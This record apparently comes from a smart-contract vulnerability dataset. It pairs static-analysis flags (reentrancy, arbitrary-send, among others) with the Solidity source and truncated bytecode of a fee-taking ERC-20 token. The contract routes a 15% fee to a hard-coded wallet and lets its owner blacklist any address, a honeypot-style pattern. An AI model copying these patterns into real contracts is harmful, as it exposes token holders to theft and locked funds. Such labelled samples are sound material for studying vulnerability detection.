{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
10,079
0x9B6CDe90945fC1fEF84aF3be3824e9E3F718Dcc0
pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract CRY is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Cryptocurrencies"; string private constant _symbol = "1=7"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0xb4163372e6FA3638aC1da54f7D7594aEaC832f09); _feeAddrWallet2 = payable(0xb4163372e6FA3638aC1da54f7D7594aEaC832f09); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = 15; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = 15; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 50000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb1461031c578063b515566a14610359578063c3c8cd8014610382578063c9567bf914610399578063dd62ed3e146103b057610109565b806370a0823114610272578063715018a6146102af5780638da5cb5b146102c657806395d89b41146102f157610109565b8063273123b7116100d1578063273123b7146101de578063313ce567146102075780635932ead1146102325780636fc3eaec1461025b57610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103ed565b6040516101309190612ad9565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b919061266b565b61042a565b60405161016d9190612abe565b60405180910390f35b34801561018257600080fd5b5061018b610448565b6040516101989190612c3b565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c3919061261c565b610459565b6040516101d59190612abe565b60405180910390f35b3480156101ea57600080fd5b506102056004803603810190610200919061258e565b610532565b005b34801561021357600080fd5b5061021c610622565b6040516102299190612cb0565b60405180910390f35b34801561023e57600080fd5b50610259600480360381019061025491906126e8565b61062b565b005b34801561026757600080fd5b506102706106dd565b005b34801561027e57600080fd5b506102996004803603810190610294919061258e565b61074f565b6040516102a69190612c3b565b60405180910390f35b3480156102bb57600080fd5b506102c46107a0565b005b3480156102d257600080fd5b506102db6108f3565b6040516102e891906129f0565b60405180910390f35b3480156102fd57600080fd5b5061030661091c565b6040516103139190612ad9565b60405180910390f35b34801561032857600080fd5b50610343600480360381019061033e919061266b565b610959565b6040516103509190612abe565b60405180910390f35b34801561036557600080fd5b50610380600480360381019061037b91906126a7565b610977565b005b34801561038e57600080fd5b50610397610ac7565b005b3480156103a557600080fd5b506103ae610b41565b005b3480156103bc57600080fd5b506103d760048036038101906103d291906125e0565b61109e565b6040516103e49190612c3b565b60405180910390f35b60606040518060400160405280601081526020017f43727970746f63757272656e6369657300000000000000000000000000000000815250905090565b600061043e610437611125565b848461112d565b6001905092915050565b6000683635c9adc5dea00000905090565b60006104668484846112f8565b61052784610472611125565b6105228560405180606001604052806028815260200161332260289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104d8611125565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118fd9092919063ffffffff16565b61112d565b600190509392505050565b61053a611125565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105be90612b9b565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610633611125565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106b790612b9b565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661071e611125565b73ffffffffffffffffffffffffffffffffffffffff161461073e57600080fd5b600047905061074c81611961565b50565b6000610799600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a5c565b9050919050565b6107a8611125565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610835576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082c90612b9b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f313d370000000000000000000000000000000000000000000000000000000000815250905090565b600061096d610966611125565b84846112f8565b6001905092915050565b61097f611125565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0390612b9b565b60405180910390fd5b60005b8151811015610ac357600160066000848481518110610a57577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610abb90612f51565b915050610a0f565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b08611125565b73ffffffffffffffffffffffffffffffffffffffff1614610b2857600080fd5b6000610b333061074f565b9050610b3e81611aca565b50565b610b49611125565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bd6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bcd90612b9b565b60405180910390fd5b600f60149054906101000a900460ff1615610c26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1d90612c1b565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cb630600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061112d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610cfc57600080fd5b505afa158015610d10573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d3491906125b7565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d9657600080fd5b505afa158015610daa573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dce91906125b7565b6040518363ffffffff1660e01b8152600401610deb929190612a0b565b602060405180830381600087803b158015610e0557600080fd5b505af1158015610e19573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e3d91906125b7565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ec63061074f565b600080610ed16108f3565b426040518863ffffffff1660e01b8152600401610ef396959493929190612a5d565b6060604051808303818588803b158015610f0c57600080fd5b505af1158015610f20573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f45919061273a565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506802b5e3af16b18800006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611048929190612a34565b602060405180830381600087803b15801561106257600080fd5b505af1158015611076573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061109a9190612711565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561119d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119490612bfb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561120d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120490612b3b565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112eb9190612c3b565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611368576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135f90612bdb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113cf90612afb565b60405180910390fd5b6000811161141b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141290612bbb565b60405180910390fd5b6000600a81905550600f600b819055506114336108f3565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156114a157506114716108f3565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156118ed57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561154a5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61155357600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156115fe5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116545750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561166c5750600f60179054906101000a900460ff165b1561171c5760105481111561168057600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106116cb57600080fd5b601e426116d89190612d71565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156117c75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561181d5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611833576000600a81905550600f600b819055505b600061183e3061074f565b9050600f60159054906101000a900460ff161580156118ab5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156118c35750600f60169054906101000a900460ff165b156118eb576118d181611aca565b600047905060008111156118e9576118e847611961565b5b505b505b6118f8838383611dc4565b505050565b6000838311158290611945576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193c9190612ad9565b60405180910390fd5b50600083856119549190612e52565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6119b1600284611dd490919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156119dc573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611a2d600284611dd490919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611a58573d6000803e3d6000fd5b5050565b6000600854821115611aa3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9a90612b1b565b60405180910390fd5b6000611aad611e1e565b9050611ac28184611dd490919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611b28577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611b565781602001602082028036833780820191505090505b5090503081600081518110611b94577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611c3657600080fd5b505afa158015611c4a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c6e91906125b7565b81600181518110611ca8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611d0f30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461112d565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611d73959493929190612c56565b600060405180830381600087803b158015611d8d57600080fd5b505af1158015611da1573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b611dcf838383611e49565b505050565b6000611e1683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612014565b905092915050565b6000806000611e2b612077565b91509150611e428183611dd490919063ffffffff16565b9250505090565b600080600080600080611e5b876120d9565b955095509550955095509550611eb986600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461214190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f4e85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461218b90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f9a816121e9565b611fa484836122a6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516120019190612c3b565b60405180910390a3505050505050505050565b6000808311829061205b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120529190612ad9565b60405180910390fd5b506000838561206a9190612dc7565b9050809150509392505050565b600080600060085490506000683635c9adc5dea0000090506120ad683635c9adc5dea00000600854611dd490919063ffffffff16565b8210156120cc57600854683635c9adc5dea000009350935050506120d5565b81819350935050505b9091565b60008060008060008060008060006120f68a600a54600b546122e0565b9250925092506000612106611e1e565b905060008060006121198e878787612376565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061218383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506118fd565b905092915050565b600080828461219a9190612d71565b9050838110156121df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121d690612b5b565b60405180910390fd5b8091505092915050565b60006121f3611e1e565b9050600061220a82846123ff90919063ffffffff16565b905061225e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461218b90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6122bb8260085461214190919063ffffffff16565b6008819055506122d68160095461218b90919063ffffffff16565b6009819055505050565b60008060008061230c60646122fe888a6123ff90919063ffffffff16565b611dd490919063ffffffff16565b905060006123366064612328888b6123ff90919063ffffffff16565b611dd490919063ffffffff16565b9050600061235f82612351858c61214190919063ffffffff16565b61214190919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061238f85896123ff90919063ffffffff16565b905060006123a686896123ff90919063ffffffff16565b905060006123bd87896123ff90919063ffffffff16565b905060006123e6826123d8858761214190919063ffffffff16565b61214190919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156124125760009050612474565b600082846124209190612df8565b905082848261242f9190612dc7565b1461246f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161246690612b7b565b60405180910390fd5b809150505b92915050565b600061248d61248884612cf0565b612ccb565b905080838252602082019050828560208602820111156124ac57600080fd5b60005b858110156124dc57816124c288826124e6565b8452602084019350602083019250506001810190506124af565b5050509392505050565b6000813590506124f5816132dc565b92915050565b60008151905061250a816132dc565b92915050565b600082601f83011261252157600080fd5b813561253184826020860161247a565b91505092915050565b600081359050612549816132f3565b92915050565b60008151905061255e816132f3565b92915050565b6000813590506125738161330a565b92915050565b6000815190506125888161330a565b92915050565b6000602082840312156125a057600080fd5b60006125ae848285016124e6565b91505092915050565b6000602082840312156125c957600080fd5b60006125d7848285016124fb565b91505092915050565b600080604083850312156125f357600080fd5b6000612601858286016124e6565b9250506020612612858286016124e6565b9150509250929050565b60008060006060848603121561263157600080fd5b600061263f868287016124e6565b9350506020612650868287016124e6565b925050604061266186828701612564565b9150509250925092565b6000806040838503121561267e57600080fd5b600061268c858286016124e6565b925050602061269d85828601612564565b9150509250929050565b6000602082840312156126b957600080fd5b600082013567ffffffffffffffff8111156126d357600080fd5b6126df84828501612510565b91505092915050565b6000602082840312156126fa57600080fd5b60006127088482850161253a565b91505092915050565b60006020828403121561272357600080fd5b60006127318482850161254f565b91505092915050565b60008060006060848603121561274f57600080fd5b600061275d86828701612579565b935050602061276e86828701612579565b925050604061277f86828701612579565b9150509250925092565b600061279583836127a1565b60208301905092915050565b6127aa81612e86565b82525050565b6127b981612e86565b82525050565b60006127ca82612d2c565b6127d48185612d4f565b93506127df83612d1c565b8060005b838110156128105781516127f78882612789565b975061280283612d42565b9250506001810190506127e3565b5085935050505092915050565b61282681612e98565b82525050565b61283581612edb565b82525050565b600061284682612d37565b6128508185612d60565b9350612860818560208601612eed565b61286981613027565b840191505092915050565b6000612881602383612d60565b915061288c82613038565b604082019050919050565b60006128a4602a83612d60565b91506128af82613087565b604082019050919050565b60006128c7602283612d60565b91506128d2826130d6565b604082019050919050565b60006128ea601b83612d60565b91506128f582613125565b602082019050919050565b600061290d602183612d60565b91506129188261314e565b604082019050919050565b6000612930602083612d60565b915061293b8261319d565b602082019050919050565b6000612953602983612d60565b915061295e826131c6565b604082019050919050565b6000612976602583612d60565b915061298182613215565b604082019050919050565b6000612999602483612d60565b91506129a482613264565b604082019050919050565b60006129bc601783612d60565b91506129c7826132b3565b602082019050919050565b6129db81612ec4565b82525050565b6129ea81612ece565b82525050565b6000602082019050612a0560008301846127b0565b92915050565b6000604082019050612a2060008301856127b0565b612a2d60208301846127b0565b9392505050565b6000604082019050612a4960008301856127b0565b612a5660208301846129d2565b9392505050565b600060c082019050612a7260008301896127b0565b612a7f60208301886129d2565b612a8c604083018761282c565b612a99606083018661282c565b612aa660808301856127b0565b612ab360a08301846129d2565b979650505050505050565b6000602082019050612ad3600083018461281d565b92915050565b60006020820190508181036000830152612af3818461283b565b905092915050565b60006020820190508181036000830152612b1481612874565b9050919050565b60006020820190508181036000830152612b3481612897565b9050919050565b60006020820190508181036000830152612b54816128ba565b9050919050565b60006020820190508181036000830152612b74816128dd565b9050919050565b60006020820190508181036000830152612b9481612900565